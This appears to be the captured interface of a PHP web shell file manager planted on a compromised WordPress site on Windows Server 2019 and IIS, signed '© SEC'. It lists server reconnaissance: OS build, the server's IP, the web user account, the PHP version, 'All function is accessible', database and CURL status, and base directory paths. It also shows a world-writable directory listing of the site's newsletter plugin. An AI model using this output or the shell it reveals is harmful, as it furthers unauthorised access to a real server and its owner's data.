Windows NT VMI1501711 10.0 build 17763 (Windows Server 2019) AMD64
 Microsoft-IIS/10.0
 80.65.208.158 | Your IP: 216.73.216.50
 Cant read [ /etc/named.conf ]
 [ drwxrwxrwx ]
C: / Inetpub / vhosts / rotechnochem.com / httpdocs / wp-content / plugins / newsletter /


Operating System : Windows NT VMI1501711 10.0 build 17763 (Windows Server 2019) AMD64
User / Group : 0[IWPD_134(rotechno)] / 0[?]
PHP Version : 8.3.30
IP Server : 80.65.208.158
Your IP : 216.73.216.50
Storage : Total = 799.48 GB, Free = 289.07 GB [36%]
Domains : Cant read [ /etc/named.conf ]
Software : Microsoft-IIS/10.0
Disable Functions : All function is accessible
Useful Functions :
Downloader :
CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : C:/Inetpub/vhosts/rotechnochem.com\;C:\Windows\Temp\ | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 0/0 drwxrwxrwx 2026-02-10 05:51:58
.. dir - 0/0 drwxrwxrwx 2026-02-11 05:16:53
admin dir - 0/0 drwxrwxrwx 2026-02-10 05:51:58
classes dir - 0/0 drwxrwxrwx 2026-02-10 05:51:58
composer dir - 0/0 drwxrwxrwx 2026-02-10 05:51:58
emails dir - 0/0 drwxrwxrwx 2026-02-10 05:51:58
images dir - 0/0 drwxrwxrwx 2026-04-08 11:37:20
includes dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
main dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
profile dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
sources dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
statistics dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
subscription dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
system dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
unsubscription dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
users dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
vendor dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
widget dir - 0/0 drwxrwxrwx 2026-04-09 12:43:58
.htaccess text/plain 123 B 0/0 -rw-rw-rw- 2026-02-10 05:51:58
admin.php text/x-php 10.58 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:42
changelog.txt text/plain 80.93 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:42
header.php text/x-php 20.55 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:42
main.js text/plain 774 B 0/0 -rw-rw-rw- 2025-07-29 12:58:42
plugin.php text/x-php 47.03 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:42
readme.txt text/plain 28.45 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:42
style.css text/plain 6.68 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:43
tnp-footer.php text/x-php 1.66 KB 0/0 -rw-rw-rw- 2025-07-29 12:58:43
tnp-header.php text/x-php 272 B 0/0 -rw-rw-rw- 2025-07-29 12:58:43
© SEC